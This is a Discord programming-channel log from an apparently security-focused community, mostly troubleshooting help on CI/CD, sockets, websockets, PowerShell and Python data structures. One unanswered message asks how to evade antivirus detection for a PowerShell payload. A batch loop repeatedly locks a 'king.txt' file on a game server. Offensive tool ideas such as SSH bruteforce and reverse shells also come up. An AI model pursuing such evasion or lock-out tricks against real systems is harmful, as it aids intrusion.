#programming

1 messages Β· Page 7 of 1

hollow sorrel
#

Correct me if im wrong

true pumice
#

Nope

#

Just as long as you can deploy it in a secure way

#

Make sure to use GitHub secrets (which is on the repo settings) to store credentials etc.

hollow sorrel
#

Ohhh, alright alright. I'll look into that while also looking at other CI/CD tools

#

Thanks @true pumice

wispy kestrelBOT
#

Gave +1 Rep to @true pumice

sonic patrol
#

Hello, Im looking for a mate for studying together to get the OCP Java 8!!

timber fable
#

I removed the first "s.recv(1024)" and it crashed it like expected, could anybody explain what was happening?

brazen eagle
#

that's CI, CD is when you auto deploy the thing as well. You best have some solid testing for that though

#

TBH I prefer gitlab's CI/CD tooling to Github Actions

#

but they're fairly similar

magic falcon
#

My preference for CI/CD is something more along the lines of a webhook to a tool that runs the pipeline externally

#

it's a bit more complex to set up, but i think it's more reliable and more flexible

brazen eagle
#

you can configure external runners with gitlab πŸ™‚

magic falcon
#

that's also true

brazen eagle
#

but you can probably also use a push hook to trigger a build

magic falcon
#

i also don't trust the VM/container infra that git forges are starting to provide

brazen eagle
#

gotta be a little bit insane though

#

on-prem is usually possible

#

but use whatever works for you, eh?

#

still trying to find a forge that'll work with a THM free box

magic falcon
#

yeah, good luck with taht

brazen eagle
#

Arg chrome y u no implement CSS properly 😦

#

Apparently it needs a prefix for the background-clip property

brazen eagle
magic falcon
clear lodge
#

npm is down 😱

#

oh well.

clear lodge
brazen eagle
clear lodge
#

usually I drop all my stylesheets in one of those auto prefixers online

#

if there are some browser requirements anyway

#

oh npm is back up πŸŽ‰

brazen eagle
#

huzzah?

#
$ pnpm install --frozen-lockfile
Lockfile is up to date, resolution step is skipped
 ERR_PNPM_OUTDATED_LOCKFILE  Cannot install with "frozen-lockfile" because pnpm-lock.yaml is not up to date with package.json
Note that in CI environments this setting is true by default. If you still need to run install in such cases, use "pnpm install --no-frozen-lockfile"
Cleaning up project directory and file based variables 00:01
ERROR: Job failed: exit code 1

arg fracking lockfiles

#

some days I think powerpoint is better for slides

#

and then I try writing code blocks and remember why not

clear lodge
#

oh is this slidev?

brazen eagle
#

yes

clear lodge
#

because I tried it for a bit when I saw you star some unicorn theme on github hahahh

brazen eagle
#

haha

clear lodge
#

I want to tranfer my Prezi to slidev

brazen eagle
#

I'm being stalked on github now

clear lodge
#

but haven't really gotten around to it yet

#

I suppose so haha

brazen eagle
clear lodge
#

I really like this slidev concept. I haaaate dealing with annoying UIs like prezi etc

brazen eagle
#

for prezi-like slideshows, there's impress.js

#

which is pretty cool, but you need good design sense

clear lodge
#

I'll check it out one time, thx

brazen eagle
clear lodge
#

hell I even prefer to just set up a static html page from scratch rather than having to use finnicky UIs

brazen eagle
#

impress is basically that tbh

clear lodge
#

oh my

#

yeah

#

that looks awesome

brazen eagle
#

it's pretty cool

clear lodge
#

I am impress

brazen eagle
#

you can view source to get more comments πŸ™‚

clear lodge
#

" More importantly, you need to be a designer. There are no default styles or layouts for impress.js presentations.'

brazen eagle
#

yeah

clear lodge
#

excellent because I am just creating a style lib to standardize my typical style whaha

#

I'll try to integrate them for personal use

brazen eagle
#

^_^

#

I made a slidev theme for myself

clear lodge
#

is that the one above?

brazen eagle
#

yes

#

well the header font is conf-supplied

clear lodge
#

very nice

clear lodge
#

you're always at the top of my github following feed πŸ˜‚ I guess no one else I folow is doing much hahah

brazen eagle
#

haha

#

oh I see you

#

hmm, anything I can raid in your repos

clear lodge
#

Not really

#

Unless you wanna try out my style lib as a test case πŸ˜‰ but its not finished. Just using it myself on a few projects to see what is convenient and what isnt

brazen eagle
#

hehe

clear lodge
#

most of the useful stuff is locked in our organisation

brazen eagle
#

so I see πŸ˜›

clear lodge
#

whaha

clear lodge
#

I guess this is how TailWind happened. whaha

brazen eagle
#

and its derivatives

fossil helm
#

hi. i guess it goes here. so i have a powershell payload that goes through defender and curr 1 av software on its own(ran from powershell) but it gets flagged when i try to run it from a cpp program. how can i evade that?

fossil helm
shrewd monolith
#

!docs verify

narrow terraceBOT
shrewd monolith
#

And meet one of the prerequisites to see the advanced channels

fossil helm
#

thx

wind fjord
#

!docs verify

narrow terraceBOT
stray crag
#

Hi All im trying to connect to my MYSQL server using python remotely but it doesnt like it could someone please help

stray crag
#

im using windows

earnest swallow
#

OK? That's not enough to go on

solemn jungle
#

!docs verify

onyx merlin
#

@solemn jungle @halcyon vine Hi, please keep this in #bot-commands unless relevant to the discussion.

clear lodge
#

@whole oriole please interact with the community before promoting your content

lilac holly
#

I am getting problem converting the file to apk with kivy using buildozer

surreal bronze
#

okay, can you send some screenshots? You'll need to verify

#

!docs verify

narrow terraceBOT
lilac holly
#

I can't upload screenshot

surreal bronze
#

Yes, you'll need to verify

lilac holly
#

[DEBUG]: In file included from <built-in>:382:
[DEBUG]: <command line>:6:9: warning: 'ANDROID_API' macro redefined [-Wmacro-redefined]
[DEBUG]: #define ANDROID_API 21
[DEBUG]: ^
[DEBUG]: <built-in>:375:9: note: previous definition is here
[DEBUG]: #define ANDROID_API ANDROID_MIN_SDK_VERSION

#

I don't know what to do

#

@surreal bronze

surreal bronze
#

I can't see the error

#

Scroll down

lilac holly
#

I wrote it here

surreal bronze
#

No you didn't

#

The screenshot you posted and deleted, towards the bottom was the actull error

#

That's just a warning

lilac holly
#

[DEBUG]: In file included from <built-in>:386:
[DEBUG]: <command line>:6:9: warning: 'ANDROID_API' macro redefined [-Wmacro-redefined]
[DEBUG]: #define ANDROID_API 26
[DEBUG]: ^
[DEBUG]: <built-in>:379:9: note: previous definition is here
[DEBUG]: #define ANDROID_API ANDROID_MIN_SDK_VERSION
[DEBUG]: ^
[DEBUG]: 1 warning generated.
[DEBUG]: armv7a-linux-androideabi26-clang -I. -Iinclude -fPIC -pthread -target armv7a-linux-androideabi26 -fomit-frame-pointer -march=armv7-a -mfloat-abi=softfp -mfpu=vfp -mthumb -fPIC -DOPENSSL_USE_NODELETE -DOPENSSL_PIC -DOPENSSLDIR=""/usr/local/ssl"" -DENGINESDIR=""/usr/local/lib/engines-1.1"" -DNDEBUG -D__ANDROID_API__=26 -DANDROID -I/home/kumar/.buildozer/android/platform/android-ndk-r25b/toolchains/llvm/prebuilt/linux-x86_64/sysroot/usr/include -I/mnt/c/Users/REDROSE/app/.buildozer/android/platform/build-arm64-v8a_armeabi-v7a/build/python-installs/myapp/armeabi-v7a/include/python3.9 -MMD -MF crypto/ts/ts_rsp_utils.d.tmp -MT crypto/ts/ts_rsp_utils.o -c -o crypto/ts/ts_rsp_utils.o crypto/ts/ts_rsp_utils.c

surreal bronze
#

Again, not the error

lilac holly
#

it's all it is

#

πŸ‘οΈ

#

!docs verify

narrow terraceBOT
surreal bronze
onyx merlin
#

A warning is what it sounds like. An indication that something is wrong, but not so wrong that it'll stop

surreal bronze
#

Nobody can help you until you've posted the full log with the error at the end. If there's any sensitive information you don't feel comfortable with you can replace it with a placeholder

#

But its imperative that we get that information, and the command used to execute the build - otherwise we have nothing to go of

tranquil flame
#

Are there any good resources you guys know for reading and understanding python errors?

surreal bronze
#

What do you mean by "reading python errors"?

lilac holly
#

I guess he would like to read official documentation about errors? error codes and their exact meaning? @tranquil flame

tranquil flame
lilac holly
#
p%a<p%b?p%c<p%a?p%c:p%a:p%b<p%c?p%b:p%c

silly C

empty epoch
#

ANYONE got a fun raspberry ppi pico script to prank my friends????

empty epoch
lilac holly
#
A[(int)((((double)a[j]-(double)a[i])/2)*10)]++;

I love writing silly

magic falcon
#

Nope. Do not give commands or program stuff that could cause damage to a running system.

earnest swallow
#

Lol

#

He asked for a prank

magic falcon
#

That doesn't justify it. Rule 17.

lilac holly
#

I love this x)

brazen eagle
#

Is about accurate

pastel lava
pastel lava
earnest swallow
bright ermine
#

does anyone know of a "web development for hackers" type course?

stoic badger
#

What does this mean πŸ€”

#

Are you looking for secure coding stuff? Web app testing? Just how to host a website?

#

My recommendation: Just learn the basics of web development instead of appending β€œfor hackers” at the end of it.

true pumice
earnest swallow
# bright ermine does anyone know of a "web development for hackers" type course?

I found w3Schools very useful for learning general web development, after setting up a basic website, it will probablybe vulnerable to many attacks. You can than look at port swigger academy, which goes through many vulnerabilities, how to exploit and and to prevent them, if you implement and test the suggested options for prevention in your website you will likely understand web security well.

clear lodge
#

ok I resolved it...... sigh

clear lodge
#

I'm new to setting up my own github actions, I've only ever used ones that were already set up

tulip tusk
#

I have finished my frontend course so anyone dm me i need to get experience please

warm meadow
#

can anyone help w/ image placement?

#

dm me if you can help

magic falcon
#

I believe jabba told you to quit posting your webpage. This is the 3rd or 4th time.

lilac holly
#

πŸ₯Ή

true pumice
lilac holly
#

It can't be anything else 🀣

brazen eagle
tranquil flame
#

If it works don't fix it

inland hazel
#

if you gonna make a chess game that way at least make an ai or script to produce the code

lilac holly
inland hazel
#

well depends... there was some way to calculate how many moves is possible from a standard start of chess giving it in a power of 10 number

#

shadow dunno how to do that though

lilac holly
#

mathematician Claude Shannon said there is around 10^120 possible positions of chess pieces (including the illegal one), and that number is very, very big, more than a number of atoms in observable universe.
This is the information upon which I found the pic funny since it would be "infinite" printfs and therefor my initial thought that it would take relativeily invinitely long to calculate all possibilities

inland hazel
#

well then guess shadows solution is still better then doing it by hand but you need a couple universes to get through it

lilac holly
#

In that case I agree, computer power > brain power 🀣

surreal bronze
#
s.sendall(str(-43).encode())

data = conn.recv(1024).decode()
>>> 43
#

Why does it give positive 43 and not negative 43?

lilac holly
#

what does str do?

surreal bronze
lilac holly
#

What is str(-43)

surreal bronze
#
>>> x = -43
>>> print(str(x))
-43
>>>
#

No, it doesn't make it a positive - that was my first thought too :P

lilac holly
#

Β―_(ツ)_/Β―

onyx merlin
surreal bronze
onyx merlin
surreal bronze
onyx merlin
#

data = conn.recv(1024)
print(data)

surreal bronze
#

yup

#

thats what it gives

onyx merlin
#

Welp, looks like there's a problem. What's the code in the Client now?

#

There's clearly an inversion there

surreal bronze
#

oh ffs

#

sorry it was passing through the wrong variable (before the conversions were done)

#

+rep @onyx merlin sorry for taking your time πŸ˜…

wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

onyx merlin
#

Np, that's why I always think it's a good idea to track back and make sure you're sending what you think you're sending

#

When I do webdev, I usually run Burp Browser just so I can see exactly what's going through

surreal bronze
#

100%

magic falcon
#

It's a good idea for any network based programming - monitoring I/O across your channel can be really painful. Similar for IPC debugging as well

surreal bronze
magic falcon
surreal bronze
#

Hmm, problem is it lacks context** w/ out - I'll try and find a way to remove that part while keeping the logic

#
import socket

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(("192.168.0.56", 65432))
    while True:
        event = key_event
        code = -scan_code if key_is_down else scan_code
        
        s.sendall(str(code).encode())
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind(("192.168.0.56", 65432))
    s.listen()
    conn, addr = s.accept()
    with conn:
        print(f"Connected by {addr}")
        while True:
            data = int(conn.recv(1024).decode())
            if not data:
                break

            if int(data) > 0: 
                value = 0
            else:
                value = 1
                data = abs(data)
            
            print((0x01, data), value, True)

is that alright?

surreal bronze
#

oh rats the file names are wrong

civic siren
#
I have created a windows file:
@echo off
:a
attrib +r \king-server\king.txt
goto a ```
#

now how do I compile this and run it in cmd?

whole yacht
#

it's bat which can be just run by itself

civic siren
#

and than run it in the CMD?

whole yacht
#

yep

civic siren
#

aight thanks

surreal bronze
#

#Server

#!/usr/bin/env python

import asyncio
import pathlib
import ssl
import websockets

async def hello(websocket):
    name = await websocket.recv()
    print(f"<<< {name}")

    greeting = f"Hello {name}!"

    await websocket.send(greeting)
    print(f">>> {greeting}")

ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
cert_pem = pathlib.Path(__file__).with_name("cert.pem")
ssl_key = pathlib.Path(__file__).with_name("key.pem")

ssl_context.load_cert_chain(cert_pem, keyfile=ssl_key)

async def main():
    async with websockets.serve(hello, "10.11.99.1", 8765, ssl=ssl_context):
        await asyncio.Future()  # run forever

if __name__ == "__main__":
    asyncio.run(main())

#Client

#!/usr/bin/env python

import asyncio
import pathlib
import ssl
import websockets

ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
cert_pem = pathlib.Path(__file__).with_name("cert.pem")
ssl_key = pathlib.Path(__file__).with_name("key.pem")

ssl_context.load_cert_chain(cert_pem, keyfile=ssl_key)

async def hello():
    uri = "wss://10.11.99.1:8765"
    async with websockets.connect(uri, ssl=ssl_context) as websocket:
        name = input("What's your name? ")

        await websocket.send(name)
        print(f">>> {name}")

        greeting = await websocket.recv()
        print(f"<<< {greeting}")

if __name__ == "__main__":
    asyncio.run(hello())
#

#San.cnf

[req]
default_bits  = 2048
distinguished_name = req_distinguished_name
req_extensions = req_ext
x509_extensions = v3_req
prompt = no
[req_distinguished_name]
countryName = XX
stateOrProvinceName = N/A
localityName = N/A
organizationName = Self-signed certificate
commonName = 10.11.99.1: Self-signed certificate
[req_ext]
subjectAltName = @alt_names
[v3_req]
subjectAltName = @alt_names
[alt_names]
IP.1 = 10.11.99.1
#

Executed ```
openssl req -x509 -nodes -days 730 -newkey rsa:2048 -keyout key.pem -out cert.pem -config san.cnf

To generate `key.pem` & `cert.pem`
#

But when I run the client.py, I get

Traceback (most recent call last):
  File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\windows_events.py", line 485, in finish_recv
    return ov.getresult()
           ^^^^^^^^^^^^^^
OSError: [WinError 64] The specified network name is no longer available
#
Traceback (most recent call last):
  File "C:\Users\Jacob\Documents\Developing\projects\ReMarkable-Keyboard\test_client.py", line 26, in <module>
    asyncio.run(hello())
  File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\runners.py", line 187, in run
    return runner.run(main)
           ^^^^^^^^^^^^^^^^
  File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\runners.py", line 120, in run
    return self._loop.run_until_complete(task)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\base_events.py", line 650, in run_until_complete
    return future.result()
           ^^^^^^^^^^^^^^^
  File "C:\Users\Jacob\Documents\Developing\projects\ReMarkable-Keyboard\test_client.py", line 16, in hello
    async with websockets.connect(uri, ssl=ssl_context) as websocket:
  File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\site-packages\websockets\legacy\client.py", line 637, in __aenter__
    return await self
           ^^^^^^^^^^
  File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\site-packages\websockets\legacy\client.py", line 655, in __await_impl_timeout__
    return await self.__await_impl__()
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\site-packages\websockets\legacy\client.py", line 659, in __await_impl__
    _transport, _protocol = await self._create_connection()
                            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\base_events.py", line 1098, in create_connection
    transport, protocol = await self._create_connection_transport(
                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
#
File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\base_events.py", line 1131, in _create_connection_transport
    await waiter
  File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\proactor_events.py", line 282, in _loop_reading
    length = fut.result()
             ^^^^^^^^^^^^
  File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\windows_events.py", line 837, in _poll
    value = callback(transferred, key, ov)
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\windows_events.py", line 489, in finish_recv
    raise ConnectionResetError(*exc.args)
ConnectionResetError: [WinError 64] The specified network name is no longer available
#

Not sure what's causing this, probably doesn't like the cert - when I run it without ssl, it connects fine

#

cc @onyx merlin

vestal carbon
surreal bronze
#
websockets.connect(
vestal carbon
surreal bronze
#

I fixed it - It should be ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER), not ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) facepalm

vestal carbon
#

ahhh yeah

surreal bronze
#

I thought I copied the code correctly from the docs but apparently not

timber fable
#

hello

#

is there any cool options I can add to my tool other than:

#
  1. ssh bruteforce
  2. wordlist generation/modification
  3. file downloader
  4. information gathering
  5. port scanning
vestal carbon
timber fable
surreal bronze
#

GTFObins

#

tl;dr commands

#

revshells

timber fable
surreal bronze
#

you give a binary name

#

and it gives you information about the binary

#

using gtfobins

timber fable
surreal bronze
surreal bronze
#

https://websockets.readthedocs.io/en/stable/topics/authentication.html

async def inject(websocket):
    token = await websocket.recv()

    if token != pwd:
        await websocket.close(1011, "Unauthorized (Wrong token)")
    else:
        await websocket.send("OK")

    try:
        <CODE>
    except websockets.exceptions.ConnectionClosed:
        logging.error("Client disconnected")


async def main():
    logging.debug("Attempting to start WebSocket")

    loop = asyncio.get_running_loop()
    stop = loop.create_future()
    loop.add_signal_handler(signal.SIGTERM, stop.set_result, None)

    if ssl_check:
        logging.info("Using SSL")
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        ssl_context.load_cert_chain("certs/cert.pem", keyfile="certs/key.pem")
    else:
        ssl_context = None

    async with websockets.serve(
        inject, address, port, ssl=ssl_context, compression=None
    ):
        logging.info(f"WebSocket running: {address}, {port}")

        await stop
#

This is my current server code, I'm just wondering if there's a "standard" way for authentication (just between two devices, no browser). Currently I'm using just sending creds as the first message for it, are there any major downsides to this? I can only think of the message being intercepted...but if I'm using SSL/TTS that shouldn't be a problem right?

onyx merlin
#

Or the machine to machine authentication it covers

#

As long as you have certs etc, Basic Auth is ok

surreal bronze
#

Alright, will do - ty

cursive orchid
#

i want to create this structure

{
    "abc.com": {
        "ip": "10.10.10.1",
        "ptr": None,
        "subdomains": {
            "staging.abc.com": {
                "ip": "10.10.10.2",
                "ptr": None,
                "subdomains": {
                    "accounts.staging.abc.com": {
                        "ip": "10.10.10.3",
                        "ptr": "ec2-10.10.10.3.aws.com",
                        "subdomains": {}
                    }
                }
            }
        }
    }
}
domains = {}

for data in result:
  domain = data["domain"]
  ip = data["ip"]
  ptr = data["ptr"]

  handle_domain(domain, ip, ptr)

chatgpt has failed me many times, and i cannot for the life of me figure it out. is anyone able to help a brother out xx

surreal bronze
cursive orchid
#

it varies, but i only need those 3 items from it

surreal bronze
#

Give me like 20 minutes and ill see what I can do

#

I had a similar problem

#

could you send me an example of result to use?

cursive orchid
#
{'country': 'US', 'server': 'cloudflare', 'redirected': 'https-only', 'ip': '2606:4700:3035::6815:56d3', 'mimeType': 'text/html', 'title': 'EPICENTER - EPICENTER', 'url': 'https://epicenter.si/', 'tlsValidDays': 89, 'tlsAgeDays': 3, 'tlsValidFrom': '2023-04-11T00:00:09.000Z', 'domain': 'epicenter.si', 'apexDomain': 'epicenter.si', 'asnname': 'CLOUDFLARENET, US', 'asn': 'AS13335', 'tlsIssuer': 'E1', 'status': '200'}
surreal bronze
#

and its just a list of servers like that?

cursive orchid
#

yee

#

some have all the elements, domain, ip, and ptr, some are missing any 1 of the three

surreal bronze
#

Okay, so yeah you'd have to use setdefault() for this, one momento

hollow sorrel
cursive orchid
#

what do you mean?

surreal bronze
cursive orchid
#

im okay with getting the data, it's just creating the structure i want that i can't do

hollow sorrel
surreal bronze
# hollow sorrel do you have a sample with a subdomain?
results = {
    "abc.com": {
        "ip": "10.10.10.1",
        "ptr": None,
        "subdomains": {
            "staging.abc.com": {
                "ip": "10.10.10.2",
                "ptr": None,
                "subdomains": {
                    "accounts.staging.abc.com": {
                        "ip": "10.10.10.3",
                        "ptr": "ec2-10.10.10.3.aws.com",
                        "subdomains": {}
                    }
                }
            }
        }
    }
}

to_add = {'domain': 'testing.abc.com', 'ip': '127.0.0.1', 'ptr': None}
#

there's one I made

hollow sorrel
#

isnt this just creating a dictionary and then passing that to the function

#

not sure if thats what you want

surreal bronze
#

where each subdomain is nested

#

in the same format as its parent domain

hollow sorrel
#

mmmm

surreal bronze
#

recursion would work well here

hollow sorrel
#

Yea

surreal bronze
#

almost got it

surreal bronze
#

Got it!

#

just to confirm @cursive orchid

#
>>>  to_add = {'domain': 'testing.staging.abc.com', 'ip': '127.0.0.1', 'ptr': None}

# OUTPUT
{
    "abc.com": {
        "ip": "10.10.10.1",
        "ptr": null,
        "subdomains": {
            "staging.abc.com": {
                "ip": "10.10.10.2",
                "ptr": null,
                "subdomains": {
                    "accounts.staging.abc.com": {
                        "ip": "10.10.10.3",
                        "ptr": "ec2-10.10.10.3.aws.com",
                        "subdomains": {}
                    },
                    "testing.staging.abc.com": {
                        "ip": "127.0.0.1",
                        "ptr": null
                    }
                }
            }
        }
    },
    "bbc.com": {
        "ip": "127.0.0.1"
    }
}
#

is that what you wanted?

#
import json

current = {
    "abc.com": {
        "ip": "10.10.10.1",
        "ptr": None,
        "subdomains": {
            "staging.abc.com": {
                "ip": "10.10.10.2",
                "ptr": None,
                "subdomains": {
                    "accounts.staging.abc.com": {
                        "ip": "10.10.10.3",
                        "ptr": "ec2-10.10.10.3.aws.com",
                        "subdomains": {}
                    }
                }
            }
        }
    },
    "bbc.com": {
        'ip': '127.0.0.1'
    }
}

def set_domain(subdomain, r):
    if "subdomains" not in r:
        r['subdomains'] = {subdomain: {}}
        r = r.setdefault('subdomains', {}).setdefault(subdomain, {})
        return r
    
    if subdomain in r['subdomains']:
        r = r.setdefault('subdomains', {}).setdefault(subdomain, {})
        return r 
    
    r['subdomains'][subdomain] = {}
    r = r.setdefault('subdomains', {}).setdefault(subdomain, {})
    return r

def add(to_add, current):
    domain_split = to_add['domain'].split('.')
    main_domain = '.'.join(domain_split[-2:])

    if main_domain in current: # Domain alredy in there
        domain_split = domain_split[:-2]

        r = current
        r = r.setdefault(main_domain, {})

        for i in reversed(range(len(domain_split))):
            d = f"{'.'.join(domain_split[i:])}.{main_domain}"

            r = set_domain(d, r)
    
        r['ip'] = to_add['ip'] 
        r['ptr'] = None
     else:
        # Just add it normally 
        current[to_add['domain']] = {'ip': '....'} # etc
        

    return current

to_add = {'domain': 'testing.staging.abc.com', 'ip': '127.0.0.1', 'ptr': None}
to_add2 = {'domain': 'lel.abc.com', 'ip': '127.0.0.1', 'ptr': None}
results = add(to_add, current)
results2 = add(to_add2, results)

print(json.dumps(results2, indent=4))
#

that is a very rough baseline, and obviously could be improved a lot (like using a beter method than reversed(range(len())) - but the overall logic is there and the program works

#

recursion might be cleaner than the for loop, but its up to you

#
PyObject *PyDict_SetDefault(PyObject *p, PyObject *key, PyObject *defaultobj)
Return value: Borrowed reference.
This is the same as the Python-level dict.setdefault(). If present, it returns the value corresponding to key from the dictionary p. If the key is not in the dict, it is inserted with value defaultobj and defaultobj is returned. This function evaluates the hash function of key only once, instead of evaluating it independently for the lookup and the insertion.

New in version 3.4.
manic sigil
#

Hey guys, I’m mid exp with programming but only really via messing around and a couple old diplomas. Looking for recommendations for some project ideas preferably related to this space to build confidence. Perhaps to lead into being confident enough into working on bigger projects. Keen to stick to python & go

manic sigil
timber fable
#

hello

#

I need project ideas for something I can build/program in the field of cybersecurity, I just have the urge to build or contribute something and practice

timber fable
#

I am thinking of making a new networking protocol

manic sigil
pastel lava
manic sigil
wispy kestrelBOT
#

Gave +1 Rep to @pastel lava

timber fable
brazen eagle
#

No

#

Or don't up to you

timber fable
cursive orchid
#

@surreal bronze ahh thank you so much !! i haven't tried it yet but will give it a go soon ❣️

wispy kestrelBOT
#

Gave +1 Rep to @surreal bronze

surreal bronze
surreal bronze
#
# Client
wsapp.send(struct.pack("IIi", type_, code, value)) # => event

# Server
type_, code, value = struct.unpack("IIi", bytes(event.encode("utf-8")))

What would I need to use with JS to send data correctly? (i.e in bytes form)

#

For example,

1, 31, 0 >> \x01\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00
surreal bronze
#

Okay I have

let x = new ArrayBuffer(12)
let unsign = new Uint32Array(x)
let type = unsign[0]
let code = unsign[1]
let sign = new Int32Array(x)
let value = sign[2]

which gives

< BINARY 00 00 00 00 00 00 00 00 00 00 00 00 [12 bytes]
DEBUG:websockets.server:> TEXT 'OK' [2 bytes]
DEBUG:root:Emitting event: ((0, 0), 0)

so thats a start....but im not sure how to change the actull values?

surreal bronze
#
let x = new ArrayBuffer(12)
let view = new Uint32Array(x);
view[0] = 1;
view[1] = 32;
view[2] = 1;

socket.send(view)

solved

wanton cliff
#

hi guys is something like this possible?
Get-ChildItem -Path .\ -Recurse **minus** Get-ChildItem -Path .\ -Recurse -File -Include .abc
Exclude wouldn't be helpful, cuz of other files in the directories
So I could get the path to the directories that don't contain the extension .abc

wraith latch
wanton cliff
# wraith latch Hi, yes it is possible. One way of achieving this is by piping to a Where-Object...

I guess I have to specify it a bit more. Your command is the same like Get-ChildItem -Path .\ -Recurse -File -include '*.abc'
I hope the following example is better. I have 5 directories; in 3 of them are 2 files with extension .abc and .xyz the other 2 contains the files with extension .xyz.
So when I use Get-ChildItem -Path .\ -Recurse -File -exclude '*.abc' I will get 5 paths (all .xyz-files) but what I want is the 2 paths of the directories without the .abc-files. I guess I have to use 2 for-loops and substract the dir-names to get my result.

exotic ferry
#

hii

#

i want to lern programing and cyber security what should i start with it

hollow sorrel
timber fable
#

I have a weird question but how do I know if I am building a new networking protocol or just programming an application?
Like what is the line between these two things ?
Is the networking protocol just some sort of specifications, and I should program an app to showcase it ?

magic falcon
timber fable
magic falcon
#

What was written first, the TCP/IP stack or the RFCs for that stack?

manic sigil
#

Hello, anyone got a Go course they'd vouch for? paid or free, bonus points if its cybersec related :p

wraith latch
# wanton cliff I guess I have to specify it a bit more. Your command is the same like `Get-Chil...

I'm still not following what you want I think, but if it's the full path to the files that you are looking for, why don't you just pipe it to Select-Object and select the info you're interested in?

Your example below will get all of the items in the directory you've specified, and the -Recurse parameter will tell it to continue to dig into any subdirectories whilst excluding any results that contain the .abc extension

Get-ChildItem -Path .\ -Recurse -File -exclude '*.abc'

If you're interested only in the full path to those files you could so something like this.
This will do the same as above, however you are specifying exactly what information to output.
In this case it will output only the full UNC path to the files however this will also include any subdirectories that exist in within that directory.

Get-ChildItem -Path .\ -Recurse -File -exclude '*.abc' | Select-Object FullName

For loops aren't necessary because you're already recursing, adding a for loop would only complicate matters and make your script run slower.

timber fable
wispy kestrelBOT
#

Gave +1 Rep to @magic falcon

hollow sorrel
#

for the people who built discord bots in python, how do you structure it?

currently all my bot functionalities is in one function in one file then thats called by main then i have handler functions that are called by the bot functions

#
bot.py  # one huge function called bot.run() with all the bot functionalities
main.py # literally just if __name__ and bot.run()
handler.py # the handler functions that are used by the bot
.env
#

this is how my directory looks like rn

magic falcon
#

MVC should be the bare minimum design pattern you use to organize any project with lots of expected interactions with other systems

surreal bronze
#

Cogs.

slender raptor
#

Any C# users here?

slender raptor
#

Great Website lol
In a class in C# is it possible to use more than one value for a getter and setter?

#

I have myself a class called Cell, which contains walls, and it's occupancy.

public class Cell()
{
  private bool[] walls = new bool[4];
}```

I wanted to know how you would go about making a getter and setter for this. Kinda similar to what I typed.

```cs
private void setWall(int wallID, bool state)
    {
        walls[wallID] = state;
    }

public bool SetWall
    {
        get { return walls[value]; }
        set { setWall(value, value2); }
    }
#

I have not found a way so currently I'm using a very annoying method of duplicating one getter/setter 4 times for each wall. (which really feels stupid)

#

If I cant find a solution I'm just going to split it into two public methods for getting and setting lol

surreal bronze
#

Hmm I have no experience with c#, so take this with a grain of salt but couldn't you use a tuple as the value for the setter, with the wall index and value? Source: https://stackoverflow.com/questions/14102028/can-i-pass-multiple-values-into-a-setter-in-c

slender raptor
#

Actually I didn't think about that. I'll try it out thanks for the post

hollow sorrel
timber fable
#

hello

#

I am building a p2p system and wonder if I should use threading ( 1 thread for each connection with each peer) or use Asynchronous I/O to handle peer connections?

surreal bronze
#

@magic falcon I asked the video creator and now im even more confused as to how

print(1)
for _ in range(n):
   print(x)

Is O(x^2)

magic falcon
#

Technically, he's correct, but no one who does asymptotic analysis really says that linear search, for example, is O(n^2), it's O(n)

#

the idea of 'worst case behavior' is that you want it to be bound to what is close, not the next 'step'

inland hazel
#

technically correct the best kind of correct

magic falcon
#

in this case it actually isn't

#

because it's less accurate

inland hazel
#

fair

magic falcon
#

it's like saying that a walk that has never taken more than 10 minutes has an upper bound of 2 hours

timber fable
#

In a p2p system, should peers have double socket objects (one for receiving and one for sending) in each connection with another peer to each other peer, or can I use 1 for receiving and sending at the same time for each peer?

because e.g. on my local system :
peer 1
127.1 : 8000 listens
127.1 : 50000 sends to peer2
127.1 : 52000 sends to peer3

peer2
127.2 : 8000 listens
127.2 : 30000 sends to peer1
127.2 : 33000 sends to peer3

peer3
127.3 : 8000 listens
127.3 : 40000 sends to peer1
127.3 : 41000 sends to peer2

Here it's obvious that different sockets are used for sending, and one socket for receiving. Nonetheless I am using multiple socket objects for sending, and the same number for receiving

I am asking if I could use just one socket object to send and receive data with each peer, in order to use half the amount of threads I am currently using, or is it impossible to do so because a socket would have port 8000 for receiving and 30000 for sending and that just doesn't work in one socket?

If not how can I improve performance with the threads ? Or are they simply not the most efficient option and I should look into asynchronous I/O ?

surreal bronze
slender raptor
#

So I was going to make a project that involved storing a 2D array or "cells" with data in each cell.
Is there any easier way to store that data in a file other than using JSON?
I was just gonna use JSON but I was curious on if yall had any input sunglas (I have not very much experience writing to files outside of a program)

#

The data is a strict 2D array of 10x10 and will not be changed in size at all

surreal bronze
#

Why JSON? Why not use a literal 2D array?

